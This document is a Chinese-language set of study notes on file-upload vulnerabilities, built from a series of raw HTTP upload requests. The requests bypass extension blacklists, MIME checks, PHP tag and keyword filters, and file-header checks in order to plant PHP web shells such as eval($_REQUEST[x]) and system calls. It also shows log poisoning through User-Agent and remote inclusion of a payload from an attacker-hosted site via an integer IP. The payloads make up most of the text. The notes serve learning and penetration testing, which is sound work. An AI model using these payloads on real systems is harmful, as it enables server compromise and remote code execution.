前言
文件上传漏洞学习笔记
漏洞原理
前端绕过
- 如果文件类型是通过前端判断,可以直接修改浏览器的HTML代码
1
| <button type="button" lay-data="{url:'upload.png',accept:'images',exts:'png'}"></button>
|
后端绕过
绕过后缀名黑名单
- 如果
.php被加入到了黑名单,可以尝试使用旧版本的php文件后缀名.php5
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php5" Content-Type: application/octet-stream
<?php eval($_REQUEST[x]);?> ---------------------------000000000000000--
|
绕过图片名包含检测
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.png.php" Content-Type: application/octet-stream
<?php eval($_REQUEST[x]);?> ---------------------------000000000000000--
|
绕过图片类型识别(MIME识别)
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
<?php eval($_REQUEST[x]);?> ---------------------------000000000000000--
|
绕过PHP的外壳检测
传送门
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
<?=eval($_REQUEST[x]);?>
|
绕过PHP代码的方括号过滤
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
<?php eval($_REQUEST{x});?> ---------------------------000000000000000--
|
绕过PHP代码的分号过滤
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
<?php eval($_REQUEST[x])?> ---------------------------000000000000000--
|
绕过函数关键词过滤
改用其他函数
- 如果
$_GET、$_POST、$_REQUEST都被过滤,则可以改用system('<shell>')直接执行payload
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
<?php system('<shell>');?> ---------------------------000000000000000--
|
改用反引号
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
<?php echo `<shell>`;?> ---------------------------000000000000000--
|
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
<?php `<shell>`;?> ---------------------------000000000000000--
|
改用字符串拼接
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
<?php $function_name='syste'.'m';$function_name('<shell>')?> ---------------------------000000000000000--
|
通过包含日志来绕过PHP代码的过滤
- 在上传的文件中包含系统日志文件
本案例以Nginx为例
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
<?php include "/var/log/nginx/access.log";?> ---------------------------000000000000000--
|
- 访问上传的包含日志内容的页面
request1
| GET http://127.0.0.1:80/payload.php
|
- 根据回显内容,判定日志记录的内容,根据日志记录的内容将payload写入对应位置
举例:如果日志记录了User-Agent,则再次发送请求,在请求头的User-Agent参数中携带payload
request1 2
| GET http://127.0.0.1:80/ User-Agent: <?php eval($_REQUEST[x]);?>
|
- 再次访问上传的包含日志内容的页面,并携带payload,触发代码
request1 2 3 4
| POST http://127.0.0.1:80/payload.php Content-Type: application/x-www-form-urlencoded
x=system("<shell>")
|
绕过文件头检测
request1 2 3 4 5 6 7 8 9 10
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
GIF89A <?php eval($_REQUEST[x]);?> ---------------------------000000000000000--
|
绕过PHP代码的点过滤
- 部署一个站点,包含payload
index.html1 2 3
| <html> <?php eval($_REQUEST[x]);?> </html>
|
将站点公网ip地址转换为int值
通过ip地址的int值包含有payload的站点
request1 2 3 4 5 6 7 8 9
| POST http://127.0.0.1:80/upload.php HTTP/1.1 Content-Type: multipart/form-data;boundary=---------------------------000000000000000
---------------------------000000000000000 Content-Disposition: form-data;name="file";filename="payload.php" Content-Type: image/png
<?php include 'http://2130706433/index.html';?> ---------------------------000000000000000--
|
绕过二次渲染
传送门
完成
参考文献
哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——xiaodisec